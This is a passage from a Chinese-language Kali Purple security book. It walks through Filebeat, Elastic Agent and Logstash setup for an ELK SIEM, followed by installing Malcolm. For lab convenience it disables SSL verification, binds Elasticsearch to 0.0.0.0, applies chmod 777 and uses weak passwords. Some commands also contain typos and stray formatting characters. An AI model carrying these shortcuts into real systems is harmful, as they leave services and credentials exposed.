接下来,向下滚动到 索引权限 部分,并点击 索引 下拉菜单。如果你没有看到它,开始输入 filebeat-*,并将该值输入到该字段。就在那个菜单的右边,还有一个名为 权限 的菜单。选择这个下拉菜单,并选择或输入 create_doc 作为该字段的值。重复此过程,添加 create_indexview_index_metadata。当所有条目都填写完毕时,滚动到页面底部并点击蓝色的 创建角色 按钮。页面将返回到默认的 角色 页面,你现在应该能在列表顶部看到你新创建的角色!

输入适当的字段,如这里所示,以创建角色:

图 5.12 – 输入角色属性

图 5.12 – 输入角色属性

返回到左侧导航栏的 Stack Management | Security。不过这次不要选择角色,而是选择 用户。与创建角色类似,系统会显示一个 用户 页面,页面右上方有一个蓝色的 创建用户 按钮。点击该按钮并根据需要填写字段。在我们的例子中,我们将把用户命名为 FB-Default-User,以便与我们创建的默认角色匹配。你可以在 全名 部分填入任何名字,并填写你想要的电子邮件。在我们的示例中,我们将使用 tester@testing.te 作为电子邮件。在生产环境中,你需要使用真实的身份和电子邮件,并且需要设置一个安全的密码。由于我们是在测试且示例将在发布前就被销毁,所以我们只是将 filebeat 设置为密码。有趣的部分是,当你点击 角色 下拉菜单时,你会看到你刚刚创建的角色作为选项。去选择那个角色,然后点击页面底部的蓝色 创建用户 按钮:

图 5.13 – 输入用户属性

图 5.13 – 输入用户属性

你将返回到默认的用户页面,在这里你应该看到你刚刚创建的用户,以及刚才为其分配的角色,这些角色会显示在页面顶部。你可以返回到之前编辑的 filebeat.yml 文本,并将超级用户凭证替换为刚才创建的凭证,从而将你新创建的具有较少权限的帐户投入使用。

注意

有很多更安全的方法可以做到这一点。在生产环境中,你可能希望使用 Filebeat keystore,它使用 API 密钥和环境变量,而不是用户名和密码。随着你学习并发展 ELK 堆栈的技能,务必关注先进的安全方法。

话虽如此,在设置密钥库时,常常会出现最后一步在设置过程中卡住的情况。在撰写本文时,Elastic 官方并未发布任何已知的修复或解释来解决这个问题。然而,社区成员已经通过回到你刚刚创建的用户档案并在用户档案中的 Roles 下拉菜单中添加编辑权限来绕过这个错误。

本书的初步 ELK 堆栈部分即将结束。然而,如果你发现自己对这套网络防御工具产生了浓厚的兴趣,我们将在 进一步阅读 部分提供大量有价值的链接,帮助你如果愿意的话,成为一名 ELK 学者。与此同时,让我们启动并运行这个 Beat 吧!

最后一步已经到了。为了使其工作,请确保你的 Kali Purple 虚拟机和 ELK 堆栈组件正在运行。一旦确认它们都在运行,你就可以通过输入 .\filebeat.exe setup -e(对于 Linux 和 macOS 输入 ./filebeat setup -e)来完成 Filebeat 资产的最后设置,并观察终端确认信息。此处可能会出现一些阻碍设置的错误。

如果设置过程中出现类似 x509 Certificate errorx509 Certificate signed by unknown authority 的错误信息,那很可能是因为你漏掉了在 filebeat.yml 文件的 Output 部分添加 ssl.verification_mode: none 这一指令。

如果设置过程中出现错误信息,提示无法连接到任何配置的 Elasticsearch 主机,那么你需要进入虚拟机并启动命令行终端,快速修改 elasticsearch.yml 文件。输入 sudo nano /etc/elasticsearch/elasticsearch.yml。进入文件后,向下滚动直到找到 Network 部分。在该部分中,查找以 network.host 开头的行,修改该行,将值设置为 0.0.0.0 并取消注释。现在它应该显示为 network.host: 0.0.0.0。此命令会指示 Elasticsearch 接受所有连接。按 Ctrl + X 保存并选择 Y 确认。退出编辑器后,需要重新启动 Elasticsearch 以使更改生效。输入 sudo systemctl restart elasticsearch 来重新启动。然后,返回主机上的命令行,输入 .\filebeat.exe setup -e(如果你使用 PowerShell)或 ./filebeat setup -e(如果你在 Linux 或 macOS 上)。耐心等待——这个设置过程可能需要一段时间,PowerShell 可能偶尔会挂起,让你以为它被冻结了。我们向你保证,它并没有冻结,而是在努力设置 Filebeat。

当自动设置完成后,命令提示符会返回。如果你已经按照之前的步骤操作,那么它可能已经在运行了;如果没有,现在是启动它的时候了。请在 PowerShell 中输入 Start-Service -Name Filebeat,或者在 Linux 或 macOS 上输入 sudo systemct start filebeat,然后去你主机上的网页浏览器。

返回到 Kibana 用户界面。你应该已经在这里,如果没有,请在地址栏输入 localhost:5601。点击汉堡菜单,滚动到仪表板链接下的分析部分。选择仪表板;如果页面加载时有任何条目显示,那么至少说明你的 Filebeat 安装中的 Kibana 仪表板部分已经成功!

再次返回并选择汉堡菜单,滚动到底部,点击 Stack Management,然后点击新菜单中加载的 Index Management。从这里看主窗口——你会看到一些标签在顶部。点击 Data Streams;你应该能看到你的 Filebeat 安装列出。它将是唯一的条目,并且名字中包含 filebeat。请跳到 图 5.15,该图展示了相同屏幕的可视化,替换为 Elastic agent 数据流而非 Filebeat。

如你所见,Filebeat 的设置需要一些工作,但这些步骤都很简单。Filebeat 非常高效,不会消耗可衡量的计算资源。这使得你能够高效地扩展你的网络安全,尽管过程稍微有些费劲。虽然它是生态系统中最常见的 Beat,但并不是唯一的。接下来的部分将列出其他一些 Beats,以及最常见的 Beats 替代品——Elastic Agent。

Beats 类型

其他 Beats 包括 Metricbeat,它用于捕获基础设施数据,以及 Winlogbeat,它用于捕获 Windows 事件日志。Winlogbeat 本来是我们 Windows 主机上更合适的 Beat,但我们希望让你熟悉在实际工作中最常见的 Beat,显然就是 Filebeat。还有 Heartbeat,用于捕获设备的运行时间信息,以及 Auditbeat,它专注于审计类型的事件。

Elastic 正在大力推动用户转向他们更加全面——但更为庞大的——Elastic Agent,它可以充当一种通用的 beat。然而,在未来一段时间内,你仍然会遇到个别的 beats,并且应该熟悉它们。在我们安装 Elastic Agent 之前,如果你打算将其安装在同一台设备上,你需要卸载 Filebeat,以防止资源冲突。老实说,你不必这么做。你可以尽情享受,将它安装在托管 ELK 堆栈的同一台设备上,甚至可以安装在你的虚拟机上。这样做没有任何害处。只是确保你正确配置了主机的 IP 地址,因为如果你这样做,localhost在配置文件中将不起作用。相反,你需要在终端窗口中输入ifconfig,从中获取 eth0 的 IP 地址,并将其放入配置文件中。如果你使用的是 VirtualBox,它可能是10.0.2.15,但最好检查一下以确保准确无误。

如果你喜欢冒险,Elastic 确实提供了一个教程,讲解如何将现有的 Beats 包升级到 Elastic Agent。我们已经将相关信息添加到进一步阅读部分,供你参考。与此同时,当你看到安装 Elastic Agent 的速度和简便性时,准备好感到震惊吧!

Elastic Agent

虽然 Beats 轻量级数据传输生态系统非常适合小型项目,但随着新的Elastic AgentFleet Server组合的推出,它们迅速走向了消亡。由于我们只处理单个设备,我们将安装 Elastic Agent 作为独立包,并且不会使用 Fleet 服务器。然而,如果你希望将 Elastic Agent 与 ELK 堆栈结合在生产环境中,或者希望在多个设备上使用多个 Elastic Agent,我们建议了解 Elastic 推出的一个新产品——Fleet server。截至目前,Fleet server 并不是原生 Kali Purple 发行版的一部分,但如果不久的将来为软件包管理器添加一个快速安装包,也不令人惊讶。你仍然可以通过 Kibana 仪表板进行设置。如果你想进一步了解,我们已经在进一步阅读部分添加了相关链接。

让我们通过将主机机器的 Web 浏览器指向 https://www.elastic.co/downloads/elastic-agent 来获取该产品的最新版本。一个页面将会打开,它几乎与我们下载 Filebeat 时的页面相同。以相同的方式,选择主机机器的适当操作系统,但不要点击下载。我们只是在选择它,以便 SHA 链接右侧的蓝色下载框中显示正确的文件哈希。选择 SHA 链接以获取并记录文件哈希。然后,选择并点击蓝色框开始下载 Elastic Agent。

就像我们在 Filebeat 中做的那样,等待下载完成后,打开 Windows 文件资源管理器,导航到 Downloads 目录。一旦到达那里,在我们做其他任何事情之前——包括简化文件名——我们需要获取哈希值,并将其与我们从 Elastic 网站上获取的哈希值进行比较,就像第一次那样。输入 Get-FileHash -Path 。我们不能告诉你具体的哈希值,因为它会因为 Elastic Agent 的定期更新而与你不同。如果你使用的是 Mac,输入 shasum -a 512 ;如果你是使用 Linux 的“酷小子”,输入 sha512sum 。哈希值确认后,右键点击并选择 Extract All。在 Files will be extracted to this folder: 部分,删除默认条目并输入 C:\Program Files

选择 Extract 并在解压完成后导航到 C:\Program Files 目录。到达那里后,右键点击目录,按 F2 或选择下拉菜单底部的重命名图标。那是带有字母 A 的图标。为了简便起见,将安装目录重命名为简单且易于记住的名称,比如 Elastic-Agent。在你的主机上打开一个 PowerShell 实例,导航到 C:\Program Files\Elastic-Agent 目录,然后输入 notepad elastic-agent.yml 来编辑配置文件。记住,你需要管理员权限来编辑此文件。输入 powershell Start-Process powershell -Verb Runas 来获得此权限。

在编辑配置文件之前,先确保我们的 Linux 和 macOS 朋友可以下载并安装产品。两个系统都内建了自动哈希检查,以节省你的工作量。

Linux 用户可以跳过基于浏览器的下载,直接使用命令行工具的自动哈希检查功能。输入 sudo apt-get install elastic-agentsudo yum install elastic-agent,然后导航到 /etc/elastic-agent 文件夹,在该文件夹中输入 ls 以确认 .yml 文件是否存在。使用你最喜欢的编辑器编辑 elastic-agent.yml —— 对大多数人来说,它是 vim 或 nano。

macOS 用户可以通过 Homebrew 安装,输入 brew install elastic/tap/elastic-agent,然后导航到 /Library/Elastic/Agent 目录,在那里可以找到并使用 Linux 中相同的工具(如 vim 或 nano)编辑 elastic-agent.yml

无论你使用什么解决方案,都可以打开 elastic-agent.yml 文件进行编辑。为了让我们的体验更加顺利,我们将进行最简化的配置。检查以下内容:

  • hosts 字段具有正确的协议——https 而不是 http

  • hosts 字段具有正确的 IP 地址和端口——对于大多数人来说是 localhost9200

  • hosts 字段具有正确的格式:hosts: ["IP:PORT"]

  • api_key 字段应被注释掉

  • 用户名密码字段应取消注释

  • 正确的凭据应列在用户名和密码之后

  • 密码之后添加以下行:ssl.verification_mode: none

图 5.14 – 如果向 Elasticsearch 报告,elastic-agent.yml 配置设置

图 5.14 – 如果向 Elasticsearch 报告,elastic-agent.yml 配置设置

前面步骤的最后一行是临时禁用 SSL 安全性,用于培训和概念验证,以便我们能快速获得一个用例和结果来查看。或者,如果你使用 Kibana 图形界面安装 Elastic Agent,你可以通过在搜索栏中输入elastic agent并按照提示操作,它会给你ssl.ca_trusted_fingerprint,你可以按照图 5.15中所示进行添加:

图 5.15 – 如果从 Kibana GUI 安装,elastic-agent.yml 配置设置

图 5.15 – 如果从 Kibana GUI 安装,elastic-agent.yml 配置设置

如果计划在生产环境中部署 Elastic Agent,使用适当的身份验证并正确设置 SSL 是至关重要的。

那么,让我们通过输入.\Elastic-Agent install来安装它,如果你在 PowerShell 中,请将Elastic-Agent替换为你可能选择的任何其他名称;如果你在 macOS 或 Linux 终端中,请使用sudo systemctl start elastic-agent。当系统询问你是否要继续时,选择Y;当询问你是否要将此代理加入 Fleet 时,选择N

让我们看看我们的辛勤工作成果吧,好吗?在确保 Elasticsearch、Kibana 和 Elastic Agent 都已开启并正常运行后,打开一个网页浏览器并登录 Kibana。返回并再次选择我们美味的汉堡菜单,向下滚动到底部,然后点击堆栈管理

图 5.16 – 堆栈管理

图 5.16 – 堆栈管理

然后,在加载的新菜单中点击索引管理。从这里,查看主窗口窗格;你会看到顶部有几个标签。点击数据流。这里是你的 Filebeat 安装位置——如果你没有先卸载 Filebeat,可能它现在仍在这里显示。现在,你将看到来自 Elastic Agent 的大量数据!这证明了你的安装是成功的:

图 5.17 – 索引管理 | 数据流

图 5.17 – 索引管理 | 数据流

所以,你现在可以看到,Elastic Agent 的安装相比 Beats 简直简单得多。然而,Elastic Agent 和 Beats 之间存在一定的权衡。Elastic Agent 几乎包含了所有 Beats 的功能,还额外提供了一些功能,所有这些都集中在一个端点代理中。然而,这也带来了性能上的代价。你的端点需要处理更多的内容。Elastic Agent 只是一个软件包。所以,如果你只需要报告日志文件,你仍然需要安装整个代理,包括测量设备正常运行时间或基础设施数据的功能。这样你将会有不必要的开销。也许对你来说这不是问题,但对很多人来说却是。如果你的设备和网络结构有足够的空间,那这不算什么问题,Elastic Agent 将是最简单的数据传输版本。

Logstash 和过滤器

在结束 Kali Purple 的 ELK 堆栈部分之前,还有一件事需要处理。我们一直在向 Elasticsearch 报告数据,以为你提供一个简单易懂的用例。实际上,你更可能是将数据传输器和端点代理设置为先将数据通过 Logstash 运行,在那里它可以得到更清晰的分析。我们还有两个步骤来使其正常工作。

首先,我们需要回到用于收集数据的进程。在最近的案例中,是 Elastic Agent,但它也可以是 Beats 中的一个或其他我们集成到 ELK 堆栈中的代理。编辑该进程的 .yml 或其他配置文件,注释掉与 Elasticsearch 相关的部分,并取消注释 Logstash 的部分,正如你可能从本章之前的内容中记得的那样。在 elastic-agent.yml 的情况下,你只需将类型改为 Logstash,编辑 hosts 字段,将其设置为 http 而非 https,并将端口号从 9200 改为 5044,如 图 5.18 所示。对于其他代理,你需要注释掉 Elasticsearch 部分并取消注释 Logstash 部分,确保将 https 改为 http,端口改为 5044 而不是 9200,并注释掉凭证,因为 Logstash 会在你稍后创建的配置文件中处理与 Elasticsearch 的认证:

图 5.18 – 如果报告给 Logstash,elastic-agent.yml 配置设置

图 5.18 – 如果报告给 Logstash,elastic-agent.yml 配置设置

其次,你还记得我们在第四章中如何为 Logstash 设置配置文件,并让 Logstash 将其输出报告给 Elasticsearch 吗?现在,我们需要返回到该文件并配置它,以便从我们用来发送数据的进程接收数据。在我们的示例中,我们将使用最近设置的 Elastic Agent。我们将在配置文件的输入部分添加相关信息,并指定端口。在你的 Kali Purple 环境中,打开一个终端窗口,导航到 /etc/logstash/conf.d,并输入 ls 查看 logstash.conf 是否存在。如果它不存在,说明你可能没有使用它。如果某个目录在路径中无法访问,记得我们在第三章中讲过的 CHMOD 命令 – 你可以用这些命令来调整文件夹/目录权限。你可以使用 chmod 755 来快速修复,但这并不是一个好习惯。你不想给出超出必要的权限。花些时间回顾一下第三章中提供的 CHMOD 细节,或者自己做一些独立的研究。这个领域相对容易学习,而且掌握这些技能是很有价值的。

第四章中,你仅创建了一个示例配置文件。在这里,你将创建一个可运行的 Logstash 配置文件。导航到 /etc/logstash/ 目录。如果该目录存在,使用你喜欢的编辑器打开它;如果没有,输入 sudo nano logstash.conf 来编辑它。如果该文件不存在,输入 touch logstash.conf 来创建它。然后,使用 ls 验证文件是否已创建,并使用你喜欢的编辑器或 sudo nano logstash.conf 来编辑它。输入以下信息:

input {
 elastic_agent {
   port => 5044
 }
}
filter {
 grok {
   match => {"message" => "%
      {TIMESTAMP_ISO8601:timestamp}%
      {LOGLEVEL:loglevel}\[%
      {DATA:component}\]%
      {GREEDYDATA:log_message}"}
     }
 }
}
output {
  elasticsearch {
   hosts => ["YOUR_ELASTICSEARCH_IP:9200"]
   user => "elastic"
   password => "ElasticSuperUserPassword"
  }

编辑完文件后,按 Ctrl + X 退出。当提示时选择 Y,然后输入 sudo systemctl restart logstash,并等待几分钟以完成重启。

如前所述,你需要在 hosts 字段中替换掉 YOUR_ELASTICSEARCH_IP 为你 Elasticsearch 实例的 IP 地址,并在密码字段中替换 ElasticSuperUserPassword 为你的 Elastic 凭证。

你会注意到我们在过滤器部分放置了一些奇怪的数据。这是一个基本且非常流行的 Logstash 数据增强过滤器。它帮助识别传入数据的生成时间、重要性和分类,然后将其传递给 Elasticsearch 以便更高效地索引。

如我们在第四章中所做的,我们将对新创建的文件执行配置验证和语法检查。输入以下内容:

sudo /usr/share/logstash/bin/logstash –path.settings /etc/logstash -–path.config /etc/logstash -t -f /etc/logstash/logstash.conf

请耐心等待。正如你可能记得的,这可能需要一到两分钟才能完成。

总结

在本章中,我们深入探讨了如何将数据从终端设备移动到我们在前几章中创建的 SIEM 解决方案——ELK 堆栈。我们发现,这一数据传输过程具有巨大的可变配置层次,并且我们了解到,任何想要设置这种环境的人可能需要进行独立研究。我们创建了基础用例,展示了数据流动的过程,并了解如何设置数据传输代理,使其与 ELK 堆栈一起工作。

我们还花了一些时间探讨了不同类型的数据传输工具,特别是 Beats。在这里,代替一个单一的代理,许多较小的代理可以分别单独安装,从而提高效率,允许安全团队仅使用最需要的部分。我们将其与易于安装但功能强大的 Elastic Agent 进行了对比,后者涵盖了更多潜在的安全领域,但也会更依赖设备的资源以及 ELK 堆栈的资源。我们了解了这些代理是如何将数据直接传输到 Elasticsearch,或首先传输到 Logstash 再传送到 Elasticsearch 的。我们提供了一个过滤器的例子,它通过 Logstash 提供数据增强。

现在我们已经了解了如何获取和传输数据,在接下来的章节中,我们将学习需要抓取的数据。在那里,我们将研究不同类型的数据及其可能呈现的不同格式。我们将更深入地理解恶意行为者如何有时通过混淆或恶意篡改数据来隐藏他们的活动或进行不法行为。我们还将学习如何识别这种异常行为,以便当数据进入我们的 SIEM 环境时,我们能够更高效地响应潜在的威胁。

问题

回答以下问题以测试你对本章的理解:

  1. 什么是端口转发?

    1. 当海上设施将来船重定向到另一个位置时

    2. 一种计算机网络技术,根据通信端口将流量从一台机器重定向到另一台机器

    3. 当用户物理移除网络接口卡NIC)并将其放入另一台设备时

  2. 正确还是错误:端口转发必须在发送设备和接收设备上使用相同的端口号。

    1. 正确

    2. 错误,它们必须不同

    3. 错误,但它们可能相同

  3. 用户在单个设备上可以有多少不同的 Beats?

    1. 用户可以根据需要任意数量,只要它们不在端口或其他资源上发生冲突

    2. 永远只能一次一个

    3. 两个,只要它们不是同一类型的 Beats

  4. .yml文件发音为YAML,用于哪种类型的操作?

    1. 它们用于为应用程序开发硬编码的附加指令

    2. 它们提供了一种蔬菜的食谱,这种蔬菜通常与绿蛋一起食用

    3. 它们用于配置属于它们的应用程序的可变设置

  5. 过滤器是什么?

    1. 它是一段代码,旨在防止你的设备显示冒犯性语言

    2. 它们保持空气流通,通过你的物理设备,保持清洁并无杂物

    3. 它们提供额外的表格,用于解析和丰富传入数据

    4. 一支来自 1990 年代的美国垃圾摇滚乐队

    5. 上述所有内容

进一步阅读

要了解本章涵盖的主题,请查看以下资源:

第二部分:数据分析、分诊与事件响应

在本部分中,你将学习如何处理通过流量和日志分析收集、丰富、索引和存储的数据。这将通过 Malcolm 数据收集和分析工具套件实现,特别关注 Arkime 以及 StrangeBee 的 Cortex 和 TheHive SOAR。你将探讨入侵检测和入侵防御之间的区别,并动手操作 Suricata 和 Zeek IDS/IPS。

本部分包含以下章节:

  • 第六章流量与日志分析

  • 第七章入侵检测与防御系统

  • 第八章安全事件与响应

第六章:流量与日志分析

现在,我们已经建立了一个基础的 SIEM 解决方案,并了解了如何将流量导向该解决方案,是时候看看 Kali Purple 如何帮助我们理解我们发送的流量了。否则,如果我们无法理解这些流量,发送它们又有什么意义呢?Kali Purple 提供了一些著名的解决方案,每种方法都以不同的方式处理流量分析。我们将重点介绍Arkime,前身为 Moloch,以及Malcolm,前身为 Bro。

此外,我们还将了解恶意攻击者如何有时故意操控这些流量,以欺骗网络防御系统和人员。即使是最有经验、知识最丰富的人员和系统,也能通过一种叫做混淆的概念来拖慢它们的处理速度。训练有素的恶意攻击者知道混淆无法欺骗经过适当训练和/或经验丰富的防御分析人员,但他们仍会采用这种方法,因为他们知道,至少可以让网络防御人员感到烦恼并拖慢反应速度。这可能会为攻击者赢得更多的时间来完成他们的恶意行为。攻击者认为,训练不足、训练差或完全新手的网络防御人员,也可能为他们提供一次幸运的机会。

许多工具被设计用来解决混淆问题,但任何在网络安全行业有一定经验的人都会告诉你,有一个工具在所有工具中占据主导地位。它叫做CyberChef,它也包含在 Kali Purple 发行版中。

本章中,我们将通过以下主题的特点,探讨网络流量、数据包分析和混淆:

  • 理解数据包

  • Malcolm

  • Arkime

  • CyberChef 与混淆

技术要求

本章的要求如下:

  • 最低要求:一台计算设备,架构为amd64 (x86_64/64-bit)i386 (x86/32-bit),并至少包含 8 GB 的内存。

  • 推荐要求:根据网络安全领域从业人员的反馈,推荐使用 amd64 (x86_64/64-bit) 架构,并配备 16 GB 内存——内存越大越好——以及最多 64 GB 的额外磁盘空间。

你还需要成功安装并运行的 Elasticsearch 实例,用于 Arkime 后台。

理解数据包

那些至少有基础网络传输知识的人知道,信息是通过将数据分解成非常小的可度量的块,称为数据包,以便更容易地通过互联网传输。这样,如果互联网上出现某种小故障,只有那一小部分数据流需要重新发送,且仅当它通过传输控制协议TCP)发送时,接收方才需要尝试按顺序重新组装数据。

用户数据报协议 (UDP)——用于直播流的默认协议——不要求将数据重组,以便数据能够尽可能实时地从发送者传输到接收方。这就是为什么你有时会在观看视频时看到短暂的卡顿。这个卡顿是由于 UDP 丢弃并忽略数据包,认为已经太晚了,节目必须继续。此信息通过终端设备上的物理接口进行发送和接收。这些接口被称为 网络接口卡 (NICs)。

如果你目前使用物理电缆进行互联网连接,你可能已经对 NIC 有所了解。这个术语最初用来描述计算机内部的物理接口,它的外部面板有一个物理端口,你可以将以太网电缆插入其中以连接到设备。随着时间的推移,越来越多的人转向无线互联网连接。无线 NIC 与之类似,它也有发送和接收数据的功能。在某些情况下,这可能是一个带有天线的显著设备。随着技术的进步,尤其是在笔记本电脑设备中,无线 NIC 甚至变得不再显眼。

关于 NIC,有一个有趣的事情是,它们是信息系统中唯一一个网络地址物理上印刻在设备上的元素。这被称为 媒体访问控制 (MAC) 地址。理解数据包、NIC 和 MAC 地址非常重要,因为正是这些信息被网络安全及其他网络防御系统和软件在这些位置收集并进行分析和处理。以这种方式收集数据包被称为数据包捕获。最著名的数据包捕获工具之一就是 Wireshark,它来自 Kali Purple 家族的红队工具。我们将在 第十章中讨论 Wireshark。现在,我们将专注于 Kali Purple 独有的工具。

Malcolm

Malcolm 是一个免费的开源工具,专注于数据收集和分析。它是 爱达荷国家实验室 与美国 国土安全部 (DHS) 合作的成果。更具体地说,贡献来自有点臭名昭著的 网络基础设施安全局 (CISA),这是 DHS 下面的一个机构。从这个角度看,你可能会感兴趣地了解到,Malcolm 实际上并不是一款单独的软件,而是许多开源工具的集合,包括本章和下一章中的其余工具!如果你仔细想想,这不正是 Kali Purple 吗?所以,我们有一个工具集合,包含在另一个工具集合中。这应该能给你一个关于 Kali Purple 深度的整体概念。

Malcolm 作为一组工具的概念有时会让人感到困惑,因为其中一些工具是众所周知的。两款工具将在本章后面介绍——Arkime 和 CyberChef。还有两款将在第七章中介绍——Suricata 和 Zeek。Zeek 更多与 IDS 系统相关,之前叫 Bro,这有时会让人误以为 Malcolm 曾经是 Bro。其实并非如此。只是因为它是 Malcolm 的核心工具之一。另一款工具——Suricata——也将在下一章介绍。这是一个在开源网络防御社区中非常受欢迎的 IDS 系统。

当我们学习 Kali Purple 发行版中的许多工具时,你会发现其中大多数是互操作的,或者可以与其他工具集成,几乎所有工具都可以与 ELK 堆栈集成——这也是我们首先更详细地介绍这些工具的原因。提到这一点,你会注意到,在 Malcolm 发行版中,有一些 Elastic 的 Elasticsearch 和 Kibana 的替代方案。Malcolm 提供了 OpenSearch,它是 ELK 堆栈工具的同时替代品。

获取 Malcolm 的方式与我们之前的操作有所不同,但它仍然遵循类似的概念。只要记得在运行任何配置脚本之前,先研究一下 Malcolm 提供的自定义选项。

我们将使用一个叫做 Docker 的容器化程序,稍后我们将在第八章中详细讨论它。现在,我们会给你答案钥匙,你可以跟着操作:

  1. 启动你的 Kali Purple 虚拟机并登录到你的 Purple 实例。

  2. 打开终端窗口。

  3. 输入sudo apt update && sudo apt upgrade

  4. 输入sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release

  5. 输入sudo apt update && sudo apt install -****y docker.io

  6. 如果出现错误,输入sudo apt install -****y docker

  7. 如果仍然出现错误,输入sudo systemctl daemon-reload

    作为最后的手段,在执行每个前面的步骤后重新启动系统。

  8. 输入sudo systemctl enable docker,然后重新启动系统。

  9. 输入sudo git clone github.com/idaholab/Malcolm

  10. 从根目录输入sudo chmod -R 777 /home/<the_name_you_gave_your_system>/Malcolm/config/dashboards.env

  11. 输入cd Malcolm,然后输入sudo chmod -R 777 docker-compose.yml

  12. 输入cd scripts,然后输入sudo ./****configure -d

    仔细观察任何错误。如果提示某个操作不被允许,这意味着你需要使用sudo chmod 来更改文件权限。在本书中,我们一直在使用sudo chmod -R 777进行“取巧”,因为我们是在展示如何创建一个快速的概念验证。在生产环境中,你可不想给予超出必要权限的设置。

    在对文件使用chmod时,确保包含完整的文件路径。否则,你可能会在文件本身上拥有正确的权限,但指向该文件的目录如果权限较低,依然会阻止 Kali Linux 和/或 Malcolm 成功执行任务。

    如果提示某个操作不被允许,你通常可以认为这是缺少了sudo命令。例如,跳过在前面的./configure命令中使用sudo,如果你还漏掉了命令末尾的-d,你可能会经历整个 Malcolm 配置过程,最终才会收到操作不被允许的错误信息。发生这种情况时,你需要从后往前思考——追溯你的步骤,找到第一个你没有加上sudo的命令。

  13. 输入./auth_setup(这次最好不要使用sudo),并记录你创建的用户凭证——首次登录 Malcolm 时你需要用到它们。

每当你通过 Kali 命令行进行 Malcolm 设置时,选项会同时展示,并且通过大写字母 Y 或 N 在是/否选项中提供推荐设置,或者将推荐值放在括号中,位于行末,如图 6.1所示:

图 6.1 – Malcolm ./auth_setup

图 6.1 – Malcolm ./auth_setup

到目前为止,你已经安装了 Docker 和核心的 Malcolm 引擎。现在,是时候获取我们将要使用的工具集,并允许 Malcolm 自动为这个工具集设置 Docker Compose 包装器了:

  1. 要获取所需的文件,请输入docker-compose --profile malcolm pull。你应该能看到各个容器开始下载,如图 6.2所示:

图 6.2 – Docker Compose 为 Malcolm 下载容器

图 6.2 – Docker Compose 为 Malcolm 下载容器

  1. 你应该会被提示安装docker-compose命令。选择Y来安装它。

  2. 输入docker images,确认拉取到的docker-compose镜像列表。

现在,剩下的就是启动它并开始使用!要启动 Malcolm,你需要保持在scripts目录下并输入./start,无需使用sudo。如果愿意,你可以输入ls查看所有可用的选项。你可以输入./stop停止,./wipe清除数据库,或者./restart重启。快去启动 Malcolm 吧。

如果你希望通过主机访问接口,请确保在虚拟机设置中转发443端口。否则,你将需要通过虚拟机内的浏览器操作。无论哪种方式,打开一个网页浏览器并导航至localhost——无需在 URL 末尾附加端口号,因为https中的s会告诉浏览器使用443端口。默认的 Malcolm 页面应该会加载,如图 6.3所示:

图 6.3 – Malcolm 主页在成功设置后的状态

图 6.3 – Malcolm 主页在成功设置后的状态

请注意主页上关于 Arkime 和 CyberChef 的模块,它们将在本章中详细讨论。

Malcolm 的主要特点如下:

  • 数据包捕获和存储:Malcolm 设计用于捕获、存储和分析网络流量。它依赖于诸如 tcpdump 和 Wireshark 等工具——稍后在本书中将讨论——通过捕获数据包的方式,抓取经过定义网络接口的流量,正如我们在本章开始时讨论的那样。无论使用什么介质来捕获数据,它都会将数据存储到磁盘上,同时提供管理员配置存储位置、设置优化和性能的压缩级别,甚至为数据设置保留策略的选项。像几乎所有市面上可用的数据包捕获工具一样,Malcolm 使用数据包捕获PCAP)文件格式。这些类型的文件将包含元数据和有效载荷数据,以便分析人员在需要时重建数据并进行详细分析。像 Arkime 一样,Malcolm 可以从数据包中提取元数据,重建会话,建立数据索引并进行搜索。然后,你可以利用我们已经覆盖的任何工具(例如 Elasticsearch 和 Kibana,CyberChef(我们将在下一节讨论),以及我们将在第七章中查看的两种 IDS 系统)来提供完整的数据分析,另有Snort IDS。Snort 不是 Kali Purple 的一部分,在本文撰写时,技术上也不再是 Kali Linux 的一部分。这在一些专业人士看来是一个罪过,但经验丰富的人员可能依然能将其使用并让它正常工作。另外,像恶意软件信息共享平台MISP)这样的威胁信息共享平台也将具有重要价值。

  • 事件后分析:与 Arkime 不同,Malcolm 并不固有支持实时分析。相反,Malcolm 的优势在于围绕着大量设计为协同工作的工具来分析事件发生后的流量。你可能已经在我们讨论 PCAP 文件的存储与恢复选项的深度时,开始拼凑出这一点。Malcolm 利用元数据提取和通过 IDS 系统收集的信息,如果可能的话,它还会通过威胁流收集的数据显示进行补充。然而,Malcolm 事件后分析的最大优势在于其嵌入式的协作分析设计。通过这种方法,整个安全团队可以通过平台共享结果,共同工作。

  • 协议分析与解析:你可能已经感受到一个主题。协议分析与解析是 Malcolm 的关键功能,它通过与专门的分析工具集成来实现。所谓工具,就是我们一直在谈论的那些工具,如 IDS/IPS 系统。Malcolm 支持自定义协议分析,这已经成为当今数据分析产品开发中不言而喻的需求。偶尔,协议分析还可能需要 CyberChef 和解码的帮助。不过,你更有可能将该工具与数据负载本身一起使用。

  • 元数据提取与索引:该平台可以从已捕获的 PCAP 文件中提取丰富的元数据。它提取的数据包括协议特定的细节、负载信息、源与目标 IP 地址、时间戳以及任何其他标准输出数据,具体取决于提取发生的包的大小和类型。提取这些数据为我们刚刚讨论过的事件后分析提供了基础。它为网络通信模式和其他安全类型的事件提供了洞察。

  • 威胁检测与分析:关于威胁检测与分析,Malcolm 采用了多方面的方法。各种工具集被用来主动识别并应对网络环境中的安全威胁。以下方法是完成此任务的主要手段:

    • 基于规则的检测

    • 模式匹配

    • 异常检测

    • 与威胁情报源的集成——稍后讨论

    • 会话重建和元数据分析

    • 自定义规则创建与调优

    • 与可视化工具的集成

    其中一些方法将在稍后讨论。它们大多与 Arkime 的功能有所重叠。例如,我们之前讨论过基于规则的检测。在这里,当一组预定义标准匹配时,就会触发检测。这些标准通常是由管理员自定义创建的,用于寻找针对组织的特定潜在威胁的特定规则。

    模式匹配与基于规则的检测类似,因为它寻求将数据模式与规则进行匹配。不同之处在于,这些规则可能更具通用性,或者由威胁检测引擎提供——我们一直在讨论的 IDS 系统。

    异常检测是在威胁检测引擎首先抓取网络行为基准并确定该环境的正常行为后发生的。当网络流量的行为偏离已建立的正常值时,便认为它是异常的,并值得进一步调查。

    自定义规则创建与基于规则的检测不同。那是自定义规则创建的字面结果。然而,实际上——虽然这可能听起来有些颠倒,并且让你有点困惑,所以如果你需要重读这一部分以理解它,不要觉得不好意思——它通常用于扩展基于规则的检测。是的,这听起来有点像“鸡下蛋”。我们不能总是控制术语和工具在实际应用中的演变。更直接地说,自定义规则创建是一些威胁检测引擎提供的一个功能,允许分析人员对预先存在的规则进行自定义,这些规则要么由引擎提供,要么是由分析人员在他们所在的环境中由管理员创建的基于规则的检测,然后进行分析人员级别的自定义,以进一步细化规则用于分析。

